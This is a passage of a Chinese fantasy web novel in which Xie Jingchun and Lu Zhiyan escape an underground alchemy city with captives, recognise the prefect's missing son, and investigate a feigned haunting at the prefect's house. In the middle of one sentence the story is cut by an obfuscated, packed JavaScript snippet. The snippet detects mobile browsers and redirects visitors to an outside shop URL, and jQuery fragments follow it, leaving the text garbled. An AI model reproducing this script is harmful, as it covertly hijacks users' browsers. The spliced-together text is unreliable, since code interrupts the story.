谢惊春指着身后假意晕倒在地的松玠,又指了指被贴了定身符路植晏:“我已与主人订了对赌,这两个都是我挑的丹引,带回炼丹室,我会在五日之内炼成上仙品,如若不然,任你们处置。” 一个心细的守卫问:“刚才你带出来的人呢?” 毕竟在他眼中,分不清松玠和谢惊春,松玠要丹引带出仙市的人现在全都不见了。 “死了。” “死了?” 谢惊春了无遽容:“就是因为这两个丹引足够强,能杀死他们,也伤了我,我才有保证能将时间限定在五日之内。” 她又咳了几声:“反正他也会死在我的丹炉里,何必急于一时。” 五日的诱惑太大了。 上仙品稀少,若能在五日之内成功,这便是空前绝后,主人定会嘉奖。 那些守卫互相看了一眼,几乎是意见一致,觉得可以让她一试。 哪怕她只是耍嘴皮子,拖延时间,五日后照样可以宰了她,做成醢尸齑粉。 路植晏与谢惊春的视线交汇,但也只是片刻,两人立刻同时撇开眼,神色未变。 52. 登仙大道(九) “嘶,怎么死了?” 裴引玉拿绢帕捂住口鼻,嫌恶似的踢了踢地上的尸体。 柳袭安身上多是剑伤,人早没了呼吸,血液渗进石头缝中,蓄起小浅洼。 裴引玉抬脚,鞋底沾了些血迹和碾干汁液的花瓣,他用力在地上尸体身上擦了擦:“真是晦气,不过,还有点用。” “出来吧。” 他冲着黑暗轻飘飘扔出一句话,兀自用绢帕擦了擦手。 黑暗中果真走出一人。 “这具身体归你了吧,他虽没有法力,但双刀使得还不错。” 黑暗中的人点点头:“我现在这身体意识太强,难以操控,早就想换一个了,呵呵呵呵——” 裴引玉从怀中掏出一个小巧精致的盒子,摊在掌心,像是个安安静静却暗中张牙舞爪的宠物。 这样四四方方的小东西,还暗藏玄机,对侧装上了机簧。两指一捏机括,顶上就会有弹出一个明珠大小的红丸。 他双指一夹,变出一张招魂符。 他将红丸塞进微僵的尸体口中,在尸体耳边轻语,声音犹若鬼魅缥缈:“柳袭安,还不起吗?” 片刻后,黑暗中的人倒地,而地上人陡然睁眼。 * 阿春刚醒,就看到自己在一个陌生的地方,这里的空气是闷热的,和登仙大道的阴潮完全不一样。 火光曜曜,阿春的脸上被闷出许多汗,陡一醒来,背是凉的,胸口却似燃烧着干柴烈火,烟无处飘散,团在心口,堵的人难受,勉强呼出去的气都将耳朵烫得热热的。 她拼命回忆着,才想起自己是被人拍晕了。 “五日,你自己说的。” “是我自己说的,你们只需等着就好。”惊春姐姐虚弱的声音响起。 听到门口的动静,阿春吓得赶紧躲起来,却发现自己被点了穴道,完全挣脱不得。 眼瞧着人就要进来了,阿春手足无措。 自己负了惊春姐姐的嘱托,没能护好她的衣服,愧疚感在她心口蔓延。 弟弟还等着自己,现不知如何,若是也同她一样被歹人捉起来,他们姐弟俩还有机会回到乐州吗? “你们是什么……”阿春在正要长身体的年纪却营养不良,比同龄人还要干瘪瘦小,挣扎良久连往后退的动作都做不了。 看到一群人在门口,她害怕得想把自己缩成一粒灰尘。 可是下一刻,她麋鹿般的眼睛就像是找到了靠山:“惊春姐姐!” 守卫正欲关门,立马警觉道:“你认识她?” 阿春毕竟还是个孩子,又不了解情况,只顾着有熟人就是安全感。 三人没有料到这一出,谢惊春背部一僵,不由讶然迟疑了一瞬。 “这也要问?这不很正常吗?我就是和她搭讪后,博取了她的信任才套出生辰八字,她是阴年阴月阴日阴时生,是绝对的纯阴之体,刚好和这两个阳年阳月阳日阳时生的人同时进我的丹炉,阴阳调和,绝佳配比,是炼成上仙品的关键。” 谢惊春一本正经地胡扯,又丢给阿春十分鄙夷的眼神:“要不然,你以为我为何亲点这么个小瘪人?” 演技还不错,路植晏想。 阿春:我的生辰是这天吗? 但是,惊春姐姐这样做一定有她的道理。 于是,她露出一副被人诓骗的绝望模样:“你……你骗我?!我那么,信任你!” 谢惊春一口气说了很多话,刚刚恢复的点点力气一下子又消耗完了,她揪着自己的大腿,逼着自己不能晕倒。 不过值得庆幸的是,她的解释在守卫眼中无懈可击,面对阿春的撒泼打闹,他们也不想让耳朵疼,甩给谢惊春一包哑药:“你自己定下炉的时间,我们只管五日后检验成果。” 谢惊春接过:“喂,拿些纱布来,我受伤了,要包扎。” “你怎么那么多事?!” “四日半。” 等到那些笑脸面具的身影在门缝里消失,谢惊春终于一屁股坐在木凳上。 “松鼠和那个人呢?!”她刚坐下,就发现不对劲,但身体状况糟糕,慌乱的神色都表现不出来。 路植晏道:“赵无悲带他们上去了。” 谢惊春松了一口气,极惫地竖了大拇指:“做的好。你们都稍微等等啊,我先缓一会儿。” 她手掌手背在额头上不停翻来覆去,她是真的太累了,才会说出缓一会儿的话。 她扶着额头,大口吸着空气,却总觉得无力,好像将全身力气都用在呼吸上,都无济于事,真正能让她稍微觉得顺畅些的,就那么丝丝缕缕的气流。 无法想象她是如何在闭塞陌生的地下城中度过这段时日的,更无法想象她是怎么忍受身上那大大小小的伤痕带来的痛苦的。 谢惊春的长相完全就不是英气那一挂,她脸部轮廓流畅,眉毛弯弯,目若悬珠,黑黑的瞳孔里以往不是害怕就是疲累,但一旦心情好时就闪闪发亮,像是落了漫天的星子。 如今身形较之以前,还瘦了点。 所以如果偏要想象这个敏感胆小的少女,是怎么在关键时刻,挺身而出护住松鼠,和红缨剑者为敌,身负重伤还能压制无情强大的双刀客,那归根结底都要说一句:佩服。 路植晏冲破点穴,不由分说来到谢惊春面前。 他速度很快地抓住她的手,谢惊春却疼得轻嘶了一声。 他低头看去,发现她手上也是伤,而且一看就知道是那种反反复复,在将好时又再次裂开。 路植晏皱眉,避开伤口手指上移,去探脉搏。 她的脉搏很弱。 “心法第四十九则……” 谢惊春摇了摇头:“还没学到那……” 她最近沉迷于禁书上的内容,特别是将剑法融入阵法,有些本末倒置,疏于心法的修炼了。 路植晏没说话,抓住她的手腕输入真气。 接着,他蹲下身,凑近惊春耳边。 谢惊春知道他要干什么,又要用以寿命为代价的助人速成之法,好让她快速学会心法第四十九则,是自我调息的最佳方法。 四十九则是心法最后一则,难而涩,一般人参透其中奥义需要消耗个三年五载,但是,一旦了然于心,这不仅对往后的任何术法修习都有好处,还可以救自己于水火。 可谢惊春落下的又何止四十九则,她从三十一则之后就没有好好练习了。 而当阳心法极讲究连贯性,循序推进,除非天赋异禀,否则都得一步一步来,如若不然,只会适得其反。 而这适得其反中,受点内伤事小,让之前所有努力功亏一篑事大。 谢惊春显然不属于天赋异禀队列,她必须按部就班,这就意味着路植晏必须得一次性让她从三十一则到四十九则速通。 其中耗费寿命精力,不言而喻。 她一把推开路植晏:“你等会儿!” 她一推没推出去,反而被路植晏捉住手腕,他眼底沉沉,冷声道:“你这手不想要了?” 可谢惊春从小就是怕给别人带来麻烦的人,特别是关乎到性命之事,她此时就算再也没有力气,也绝对不用允许路植晏仅剩的三年寿命再次在她身上耗费。 “我骗你的,速成之法不会减寿。” 谢惊春此时已经不相信了,世上哪有这么好的馅饼。 若是如此,这些捉妖师还勤勤恳恳,修炼个什么劲。 “我没骗你。”路植晏已经不顾她的拒绝,抓住她的胳膊,指缝里悄然出现一张符箓。 谢惊春打掉他手中的定身符,猛地站起身,一阵眩晕立即袭来:“你再这样,我就真把你当丹引炼了!” “你干什么?难道真的想死吗?”路植晏不理解,看着她身上的伤痕,觉得很是刺眼,心中莫名涌起烦躁,又是这种感觉,他永远护不住一个人的绝对安全。 他永远不如路知慎。 谢惊春向旁边走了几步,指着头顶上空的洞口说:“先回去。” 路植晏知道他是故意挑开话题,强耐着性子解释道:“已经被重新封上了,要不然按赵无悲的性子,不可能不下来。” 说完,他又跟上谢惊春。 谢惊春看着他,雾蒙蒙的眸子像是覆了层纱,半掩着眼皮:“你把他们的穴解了,阿春给我包扎一下就行。” 接下来不管说什么做什么,谢惊春就是听不进去。 真是太固执,路植晏真想敲开她的脑子看看里面的神经是不是都是直线。 阿春不知道他们为什么好像有了争执,但她就想顺着惊春姐姐,于是点点头:“嗯嗯,放心吧,我会包扎。” 在说了第十五遍速成之法不会减寿后,路植晏差点被气翻过去:“你怎么就是不信呢?” 路植晏都后悔自己当初为何要犯那个贱,为何要骗她。 终究是拗不过,也犟不过她,路植晏和松玠走远些,背对着她们。 阿春撩开谢惊春的衣领,发现伤口比想象得要深,皮肉蜗卷,几乎可以看见森森白骨。 她看得都要都倒吸一口凉气,十分佩服这个姐姐能忍到现在,一声疼都没说过。 阿春拿着白布,几番试探看从哪里开始包扎是最温柔:“惊春姐姐,你忍一忍啊。” 谢惊春长呼一口气,捏紧拳头,如上刑场:“好,来吧!” “啊——” 果然还是忍不了,疼疼疼,疼得人想撞墙,疼得她想打滚。 谢惊春控制不住的一声尖叫,松玠下意识地回过头,却被路植晏猛一下抓住后颈,他淡淡说道:“非礼勿视。” 松玠嘴巴微张,呆呆地点点头,面带疑惑:“但是路公子刚才是不是回得比我……唔……” 快字都没说出来,他的嘴巴就被狠狠捂住。 “君子不立危墙之下,松公子,我们再离远些。” 路植晏半强迫拉着松玠在角落处蹲下。 “你知道我为何叫她女君子吗?” 路植晏抬起头:“为何?” 他其实不喜欢别人问他「你知道我为何…」「你猜他是…」这种有答案的问题,还偏要引导别人说出自己期望的一句「为何」或「什么」,完全就只是增加了两句废话,没有意义,浪费力气。 以往路植晏只会默不作声,等到别人自己说出答案,说不说是别人的事,听不听是他自己的事。 而他现在情愿顺着松玠的话,问出“为何”,单纯是因为他其实真的很好奇。 只是一直被心事包裹,忘了问出来。 虽然看不清松玠的表情,但明显能听出他的语气中带着笑意和钦慕:“因为她比很多所谓的“男君子”更有礼,更刚毅。” 除却说到“男君子”三字时的轻微蔑视,皆是嘉许与颂赞。 若是谢惊春听到了,一定会说“哎呀过誉过誉,谢谢”。 路植晏揉搓着手指,抿唇不语。 许久,他站起身,听着谢惊春没再疼得哇哇叫,他低头看着松玠。 松玠回过神,抬头看着他,眼前人身量本就高出自己不少,这个角度更让人觉得有压迫感,他不舒服地也跟着起身,不明所以道:“怎么了? 路植晏道:“没什么,只是觉得松公子所言极是。” 【已为宿主减轻痛苦。】 谢惊春:“你丫的,我之前受伤的时候你跑哪儿去了?” 【月中强制脱绑,系统无法改变。】 “我是说,我被那个什么簪花柳袭安砍的时候你怎么不在吧?” 【系统受干扰,部分功能失效。】 谢惊春无语,反正关键时候也不能靠系统。 不过现在她觉得没那么疼了,脸上平静了很多。 若单看她和阿春的表情,还以为受伤的是阿春呢。 阿春龇着牙:“惊春姐姐,你,你不疼么?” “还行,不疼了。” 阿春对她的敬佩之心更加油然而生。 说不疼那是假的,但再疼也架不住极致的疲惫,刚包扎好没多久,谢惊春睡着了。 等醒来时,松玠和阿春也都睡着,而路植晏则是拿着那本禁书看得出神。 他时不时抬头看下谢惊春的情况,正巧和她对视。 谢惊春冲他招了招手,示意他过来。 路植晏折了书角,将书随手一扔,走了过来:“醒了。” “感觉自己很强,那么重的伤,不过是睡了会儿,居然就觉得不怎么难受了。”谢惊春拍了拍胸口,真心有点佩服自己。 “睡了一会儿?”路植晏嗤笑似的撇开头。 他眼底有乌青,但并不让人觉得他没睡好,倒像是画了淡颜小烟熏。 “怎么,不是一会儿?” 她明明觉得自己就是睡了一会儿啊,就做了个梦,梦到有人一直握着她的手,冰凉的手心传入温度,传至四肢百骸,梦中的她如坠云端,神清气爽。 路植晏伸出两个手指:“最少两天。” 谢惊春一整个震惊住。 “还有两天半,是真把我们丢进去炼,还是,直接杀出去?” “算了吧,就算当真把你们丢进去,我也不会炼什么上仙品。” “那就是直接杀出去,嘶——”路植晏回头看了看阿春和松玠,“我一拖三,可能保不住。” “先想想有没有其他办法,怎么也要摆到最后一天。” 说着,谢惊春将本就小的声音再次压低:“你猜他是谁?” 路植晏知道她看的是松玠,指的自然也是松玠。 但他不知道为何非要装作不知道,没头没脑地问:“她?这个小女孩?我怎么知道?” 谢惊春闭眼:“啧,我说松公子。” “你自己不说了是松玠吗?” “哎呀,我既然这样问,肯定是说明让你猜其他身份,废话好多啊。” 路植晏默了片刻,然后无奈配合:“行,他是谁啊?” “我靠……你声音小点!” 谢惊春捂住他的嘴,拉着他站得远远的,缩头缩脑地说道:“我怀疑,他就是刺史那个失踪的儿子,宋揭。” “松玠,宋揭。”路植晏默念了这两个名字,发现确实发音相似。 谢惊春:“但这不是关键,你知道他和我说过什么吗?” 路植晏面无表情:“不知道。” “他说他家门口有个寺庙,你还记不记得我买彩缨和饰品那个巷口,有很浓的檀香味,里面就是有个寺庙,恰好那个地方离刺史府很近。” “而且而且,他说他就是金陵人,来这个地方快两个月了。那天晚上,我们去刺史书房,刺史不是也承认,其实他儿子是两个月前就失踪了吗?” 灵安寺? 路植晏看向熟睡的松玠:“你们这么熟,你没找他问过?” “我有这个怀疑的时候有点晚,想找他找不到。再说了,他爹是如何说他的——被人带坏,寻花问柳,死于马上风。但我觉得他不像这种人,有点犹豫。” 她说着说着,静谧的室内忽听到一声铃响。 第一反应是看向路植晏的耳朵,倏然之后她看向地面,是自己藏在腰间的銮铃。 谢惊春正欲弯腰捡起,却被路植晏一脚踩住铃边,弹起后顺手接住:“这是什么?” 她虽喜欢这些东西,但他没见过她买这样式的玩意,从外观纹路上看,和别妄铃有几分相像,只是稍微大些。 谢惊春并未有任何隐瞒:“这里有个湖镜,是地下城的出口,我一开始怀疑,那些买丹药之人的马车就是靠这个出去,但是后来发现没有这个他们也能出去。” 路植晏蹲下身,将铃铛对着火光照了照,漫声道:“你看见所有出去的人都未带此铃?” “倒也不是,只有那个自称裴某人的王爷。” 说完,谢惊春就知道哪里不对。 证真时,所有马车都得有个共同点,证伪时,一个裴王爷就让她直接否了。 她把问题绝对化了,因为有了猜测,她先入为主,默认出去只能通过銮铃,所以看见亲眼看见六驾可以不靠銮铃出去,就觉得銮铃不重要。 可一旦另有他因,銮铃这个假设就不能否。 比如,恰好那个时候结界是开的。 比如,裴王爷就是布这结界的人。 纵使二者概率都很小,可也不是绝对不可能。 她当时怎么没想到?谢惊春有些懊恼。 但她不知道的是,在那种情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558496|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,她已经头悬虎口,能拖那么长时间,还活了下来,已经是很难得了。 “完了,因为我夸下海口,这个炼丹室门口增插了一倍多的人。主要现在他们还不给我特权出去了……” 谢惊春和路植晏同时仰头看去。 这个洞什么时候变得这么大了?并且好像以某种速度,越来越大。 只是隔着一层无形的屏障,上面的一切,他们什么也看不到,什么也听不到。 “黄毛,你是不是没吃饭?” “赵狗,你才没吃饭!” 松鼠就算变成人形,也是小孩子的模样,在铁锹上附上全部妖力,也只和赵无悲的速度差不多。 “我挖挖挖!呸——” 松鼠吃了一嘴的灰,它一边不忘挖土,一边转头气急败坏地对赵无悲怒号:“你看着点!别把土往我脸上呼!” 赵无悲不管:“你跟谁俩呢?救人心切,不小心懂不懂?别忘了,你是我救上来的!” “如果不是怕拖路植晏找春春的后腿,谁乐意跟你上来,还是春春温柔,你们这些男人都是犟种!” “不乐意上来,你下去啊!” 已经快被土埋起来的半瘫半裸的炼丹师:“……” 看着身旁的棺椁,他想或许他应该是在棺材里,而不是这里。 松玠和阿春都醒了,正看见谢惊春朝顶洞扔东西。 一下没扔上去,她给銮铃绑了块石头,继续扔,这次使出大力也只是险些触碰到了结界边缘,被打回来后又砸到丹炉顶,差点掉进火堆里。 “你能不能消停会?你不疼吗?” 路植晏夺过谢惊春手中的銮铃,放自己手中掂了掂。 “还行,不疼。”谢惊春吸了吸鼻子。 路植晏的目光在她伤口上停留一会,又收回视线。 他握紧了銮铃,出其不意,猛地向上扔去。 谢惊春仰头等了半晌,也没等到有东西落下。 松鼠挖得正起劲,大眼睛一转,就瞥见不远处的树后似站了一人。 天还未亮,那人提着小灯,借着月色只看到身量不高,看不清面容。 松鼠扯了扯赵无悲的降龙弓:“喂,赵狗,有……有鬼啊……” “鬼?会有什么好怕的?鬼是别人想见的人……”没说完,赵无悲顺着它的视线看过去,发现那人影恍恍,他一步一步地走过来,步伐停停顿顿,还发出低低的呜咽声,像是受到了什么打击。 松鼠扔了铁锹,死死地抱住降龙弓。 夜色在他的身上逐渐消退,月光爬上半明半暗的脸,赵无悲和松鼠这才看清,这不是那爱妻怜子,克己奉公的刺史宋括吗? 一人一松鼠捏紧了手中铁锹,又同时低下头看着那豁大的破坏现场和手中明晃晃的作案工具,手紧了又松,心虚地往后退了退,一时间不知道作何解释。 宋括丢了灯,踉踉跄跄地跑过来,平地摔了几个跟头,他拼命扑了过来:“你……你们为何掘我妻的坟!” 言毕,他一口老血喷出来,鲜血湿了满襟,苍白的鬓间都满是憎恨与崩溃。 “妖!齐司使说得没错,就是这个妖!”宋括指着松鼠,猛地站起身,作势要逮住它,似要将它杀了泄愤。 他整个人疯魔了般,咬牙切齿,全身控制不住地颤抖起来。 “宋大人,稍安勿躁,听在下与您解释。”赵无悲一下子抵在松鼠面前,抬弓挡住宋括的张牙舞爪。 “稍安勿躁?我命人把你姐的坟掘了,你可能听我解释?” 赵无悲温和歉疚的神色立马转变,眉心蹙起,寒声道:“宋大人,慎言。” 他接着道:“此番所为实为迫不得已,宋大人可以自己去看,夫人棺椁中却停着他人尸体,这其中蹊跷,难道大人不想查清,为清鸾郡主讨一份真相?” “大人,夫人好歹也是安王之女,刺史夫人,棺中无玉金首饰也罢,但这区区杉木知否太过不合礼数?” 赵无悲敲了敲棺材板,木头沉闷的声音响起,漆味还未尽散去,空气中和着一股说不上来的味道。 “我妻温柔简淑,不求铺张,杉木乃夫人遗书绝笔中所言,为人夫者怎可为了名声,驳了她最后的念想?” 赵无悲指着无形但犹如虚空,什么也看不见的隔膜:“那大人请看,这里有结界,结界下便是地下城,兹事体大,多有得罪之处还请日后再议,那时罚惩自请大人定夺。” 宋括将信将疑,走近深洞下面确实有一层不太明显的屏障,不细细看来,只当是挖通了地下水。 正瞧着,一个不明物飞了出来。 刚好砸中宋括额头。 好声就是好头,宋括晕了。 赵无悲:“……” “宋大人?宋大人?”赵无悲摇了摇宋括,解开铃铛上附带的纸条和石头。 纸条上只有三个字:扔下来。 赵无悲知道这必然是谢姑娘和路兄扔上来的,果断依言照做。 “真的能过!”谢惊春激动道,“那咱们走。” 松玠都快不相信这是现实了,嘴里一直重复着:“终于可以出去了?” 梦里无数次的幻想,终于要在这一刻实现了吗? 路植晏抓住谢惊春的胳膊:“我先带你上去。” “阿春,过来。”她朝阿春招了招手,又看向路植晏,“你还是先把阿春带上去。” “可是我弟……” 阿春惊喜过望,可她转而就想到还不知生死的弟弟,她无论如何都要和弟弟一起出去。 “惊春姐姐你们上去吧,我必须要和弟弟在一起。” 谢惊春好言劝道:“你先同路植晏出去,拖下去会夜长梦多,不知会产生什么变故,有了銮铃随时可以下来。” 被拐到地下城的这五年,支撑阿春活下去的只有阿夏以及父亲母亲。 若不能和阿夏一起回乐州,她不会开心的。 但是听着惊春的话又颇有几分道理,她也不想拖延时间,成为累赘,踟蹰一会儿:“好。” 谢惊春笑道:“嗯嗯,放心吧。” 听不进去她们在说什么,路植晏直接将谢惊春打横抱起,蓄力止气,走好步法,一鼓作气,借力冲了上去。 “路——”谢惊春猝不及防,半口气吊在嗓子眼。 松鼠和赵无悲死死地盯着洞口,一看见路植晏和谢惊春,立马从旁边跳下去伸手去捞。 谢惊春从他身上下来时还是惊魂未定,抚了抚自己的心口:“路植晏,你好歹说一声啊。” “说话浪费时间。”说完,路植晏又跳了下去。 可再次将阿春送上来后,他就一直没再冒头。 赵无悲慌里慌张问:“路兄和那个松公子为何还不上来?” “应该等会就来吧。”谢惊春焦急地朝洞口往下望,心中发虚,他们不会被守卫发现了吧? 而地底的松玠奇怪得紧:“路公子,不上去吗?” 看着路植晏在药墙上飞来飞去,又拿了一摞书,塞在腰间或胸前,如此不够,又在松玠身上塞了许多东西,还让他抱些书,剩下的实在装不下就悉数拢进惊春看起来要四分五裂的包里。 全副武装后,路植晏拍拍手上灰尘:“走。” 松玠都傻眼了,这是走了也要搜刮干净。 “怎么还没上来?”几人眼巴巴地望着,发现底下没有丝毫动静。 赵无悲悲观地猜测:“不会真出事了吧?” 松鼠在一旁冷哼一声:“赵狗,果然狗嘴里吐不出象牙。” “呵,长得跟黄鼠狼似的。” 什么?黄鼠狼!这对松鼠来说,是极大的侮辱。 “你丫的,赵狗!”松鼠一个飞天踹却反被赵无悲擒住,两人吵闹不休。 谢惊春忽然指着地上的宋括:“哎?他怎么来了?” 她一直关注于路植晏,没注意地上还躺了个人。 赵无悲捏紧降龙弓,将躁动的松鼠夹住,一面很认真地回答惊春的问题:“我们也不知道,不过确确实实得罪了他,往后这案子可能会受阻,不好查了。” 底下依然没有动静,实在想不通路植晏到底在干什么。 阿春一声惊呼:“有动静了!” 53. 登仙大道(十) 众人看下去,那禁制果真动了起来。 接着,不止有两个人冲了上来,还有散落一地的书和药材。 一群人目瞪口呆,谢惊春讶然:“路植晏,你这是把底下搬空了啊。” 路植晏刚落脚,便瞧见地上的宋括,步伐一顿。 而旁边的松玠定睛一看,更像是被五雷轰顶,眼圈一下子就红了,三步并作两步冲到宋括面前。 两三月未见,昔日严厉的父亲已变得如此苍老,不知母亲…… 「爱妻李氏之墓」 蓦地瞧见碑文,心脏骤停,像是被一把利锥毫不留情地捅入肺腑,一下又一下,凌迟残虐着身心。 他膝盖一软,佝着腰倒了下去,抱住墓碑,崩溃地大哭,可嗓间疼痛,每抽一声,便像是被生锈的钝刀割喉。 如此,谢惊春和路植晏便就肯定他必然是宋揭了。 虽然不好说什么,但那些守卫随时会进炼丹室,发现他们逃离之事,若是追上来,又是一场恶战。 路植晏不得不打破宋揭的悲伤:“你们现在得立刻回刺史府。” 赵无悲已向捉妖司发急召令,已经摇了不少人,将所有人带走不是问题。 “那你呢?”谢惊春问。 “我想知道湖镜外是何处。” 谢惊春拿出自己凭着记忆画出的地下城與图,递给路植晏看:“根据此图,以炼丹室对应洗晦桥铺为锚点,我们待会可以从地上走,看看地下城和天赐湖到底对应什么地方。” 那與图像是用木炭画的,画得粗糙,却显眼易懂。 路植晏收了與图,目光落在一身血红的谢惊春身上,目下几人身上虽都不体面,可唯她最狼狈,偏她不顾忌。 “没有我们,你先和赵无悲一起回,地下城我一人即可。” “惊春姑娘,你伤成这样,还是修养一段时间吧。”赵无悲实在佩服这个看起来瘦瘦弱弱的姑娘,从始至终,他没见过她掉出一滴泪。 “没事,待会休息……”谢惊春看着赵无悲,陡然想起什么,“赵公子,你师父呢?” 赵无悲还以为她急于找齐怀金报仇泄愤。 他摸了摸后脑勺,亏欠道:“对不起谢姑娘,我师父他……” 谢惊春摆了摆手:“不是,我就是字面意思。” 赵无悲这才知道自己会错意:“哦那个,其实我已经好几天没见到他了。” “没见到他?”谢惊春心下大动,她一把拽住恨不得赶紧飞走的路植晏,面色有些发青,焦急问,“宋姑娘可有和你们说什么?” 路植晏观她神色慌张,像是有什么急事:“未曾。” 只是他又陡转话语:“不过,宋如遇现在病了,拒绝见人。” 病了? 谢惊春直觉宋如遇不可能无缘无故病了。 她当即放弃要和路植晏一起的想法,叮嘱系统待会记得开免疫后,便同意和赵无悲率先回刺史府。 宋揭像个痴儿眼巴巴望着被掘地三尺的先妣坟冢,心中不是滋味,但也深切知晓自己是怎么出来的。 他本欲陪在母亲左右,可面前还有活着的父亲,留着丝丝念想,盼着宋括早点醒来,好好与他细说自己不在的这段时日,家中生何变故。 阿春环顾,她感觉每个人说话都很快,脸上都挂着焦急的神色。 而她自己更要被送到从来没去过的刺史府,小脸惊怵得煞白。 莫说刺史府,她甚至不知自己现在在何地界,与乐州相去之程几何。 谢惊春察觉到忽略了这个年纪最小的女孩,便柔声道:“阿春,你先跟我走,我既然答应你,阿夏的事情会另想办法,便不会食言。” 阿春一听,便吃了半颗定心丸:“惊春姐姐,阿春知道了。” 松鼠有一优点是完全听谢惊春的安排。 它绕着路植晏的腿往上,稳当熟稔地落在他肩头。 三正腰牌兜兜转转,又从松玠手中回到路植晏手中。 临别时,路植晏将书和珍贵药材交给赵无悲,抖落干净后他将玉牌又重新交给谢惊春:“拿好,务必一直拿好。” 谢惊春当他不好拿,没有犹豫,顺手将玉牌揣进腰里。 这时,路植晏又夹递来几张符纸:“多了。” “多谢。”谢惊春悉数收入囊中,何时抵死不受,何时推三阻四,何时欣然接受,她有自己的圭臬。 捉妖司众人动作都很迅速,立马抬上棺材,背上半瘫炼丹师和晕倒的宋括,便往刺史府方向进发。 一路上,谢惊春走得极快,仿佛要和夜风赛跑,赵无悲都险些追不上她。 待两人先行至府门,所看到的景象是平日里静如坟茔的府邸,此时却搅成一团,东撞一个,西踩一个,嗷嗷叫叫,絮絮叨叨的声音就没个停歇。 谢惊春二话不说,立刻撩裙跨过高槛,指尖摩挲到的触感是硬的,她才发现身上还穿着那身血衣。 血液风干,葛布裙子摸起来像是粗糙至极的麻布。 不知是哪个小丫鬟最先瞧见惊春,大惊失色,乱中嚎了一嗓子:“鬼啊!” 一群人更加六神无主,慌慌乱乱,哪里还有往日里的规规矩矩和如出一辙。 不过抬脚的功夫,一些个丫鬟奴仆爬爬跌跌,往前厅跑去。 赵无悲大眼睛一看:“惊春姑娘,要不你换身衣服,这段时日府内也无捉妖师坐镇,符阵也一直没动静,料想并无大碍,不差这一时,这边上不到差不多一里就有个成衣铺,我去给谢姑娘买。” 谢惊春思忖着道:“我跟你一起吧,刚好换了就来,不耽误工夫。我的银钱还在府内,届时我再还你。” 赵无悲假意应了一声,实则还是决心不会收她银子的。 成衣铺衣服繁多,都是从乐州传来的时兴款式,颜色娇嫩如花,一进去,整个人像是坠进了纷色仙境,看得外头的赵无悲都啧啧称赞。 放在平时,谢惊春能在这里待一天,可如今有要紧事,她竟又要了件和身上几乎一模一样的款式,只是颜色换成了温橙色,换上后直接飞毛腿离去,老板娘当是哪儿起火了。 这回他们逮住一个丫鬟便问发生了何事。 “有鬼啊!” 如今谢惊春穿得也正常,这些人嘴里怎么一直闹着有鬼? 赵无悲好声安抚:“姑娘,好好说,何处闹鬼,有我们在,必然除尽邪祟!” “你们可千万别传了出去,也切勿告知刺史是我说的。” 那小丫鬟瞧着面前两人,才想起是前些日子在府中除妖人,顺了几口气后,她的目光躲躲闪闪往西院飘,酝酿着开口:“我们小姐……昨夜小姐的房里闹鬼了。” 谢惊春疑窦丛生:“何以此说?” “十五那日小姐随刺史去灵安寺祈福,回来后就倒下了,起先是发热咳嗽,误以为旧疾复发,小姐执拗说且放着病,睡一觉就好了。直到昨夜里,大人去看望小姐,不曾想里面竟……” 丫鬟不敢往下说,眼珠子囫囵转一圈,咽了咽口水才继续道:“里面竟传来已故夫人的声音!夫人说‘你杀人,太让我失望了!’” “大人当即跑了出来,还要我们绝对不往外说,之后他便独自冒黑出门,到这个时候还不曾回来……” 谢惊春心下纳罕,赵无悲带着一团麻的疑虑敲了敲门,叩叩叩的声音却并没有得到里面人的回应。 “宋小姐,是我,捉妖司赵无悲。” 门从里面被栓上,想推也推不开。 一道中年的声音,沧桑又沙哑,像是喉管被割破却古怪地能发出颤音:“我女儿死了你们也别想好过……你进来,就是死……” 谢惊春一愣,任何人都有可能被附身,只有她和宋如遇绝无被附身的可能。 难道是被控制,亦或是宋如遇,装的? 谢惊春细声细语地朝里问:“如遇,是我,你开一下门,我回来了。” 里面又是没声。 谢惊春和赵无悲互觑一眼,良久听到里面趿拉鞋子,急匆匆跑向门口的声音。 到了门边,宋如遇又蹑足屏息,缓缓打开一丝门缝,惶恐的眼睛在他们二人之间打量小会,确认是谢惊春后,才放心脱胆地将门豁然打开。 谢惊春参透机关:“果真是你装的!” “惊春,你可算回来了!”宋如遇激动地都快哭出来了。 谢惊春暂时无心和她诉说自己近几日的地下城遭遇,当下有更要紧的事,她看了一眼赵无悲:“赵无悲,你能先出去一下吗?我和如遇有几句话想说。” 赵无悲虽心有怪异,但也未多加思索,敛门退了出去。 眼看着他离开,谢惊春来不及坐下,开门见山:“如遇,你验齐怀金了吗?” 宋如遇面露惶惧:“你是不是以为齐怀金是妖?” 谢惊春谨慎地朝门口看了看,微微颔首:“是。” “你可能猜错了……”宋如遇面色复杂,“除却阿娘……也就是刺史夫人是自戕,以及镜儿是被妖物所杀以外,府内共死了三个人,张正,碧儿,以及宋揭。 我那日虽没验成齐怀金,但我意外验了宋括,他曾杀过三个人。” 谢惊春乍惊:“宋括!他?他亲手杀过三个人?!” “若是被妖附身,杀子,不难想象。” 谢惊春走了几步,手撑着桌面。 退一步来说,就算宋如遇说的是真,这个一夜白发的男人真的如此心狠手辣,可他杀人的理由是什么? 被附身的,竟是宋括吗? 她当然知道宋揭未死,那宋括杀过的三个人分别是谁?张正和碧儿? 宋揭没死,那第三个人到底是谁? 有谁被漏掉了。 脑中一团麻暂时无法理清,她决定回到最初的问题:“我还是觉得最好再验一下齐怀金。” 经过銮铃之事,谢惊春觉得要否一件事,就否得彻底,否得无懈可击。 “可是,自从前段时间一起去了一次灵安寺,他便不知去了哪儿。” 宋如遇在一旁愁眉苦脸,谢惊春想问题想得出神,忽听外面赵无悲的声音,将她们的思绪骤然切断。 “路兄?!” 谢惊春和宋如遇跑了出来。 路植晏跟着舆图的的方向,走上面走也一样,看看湖镜外到底连接的是金陵何处。 不曾想寻到刺史府。 更不曾想,湖镜对应的上方居然就是西院。 路植晏慢悠悠地卷起與图。 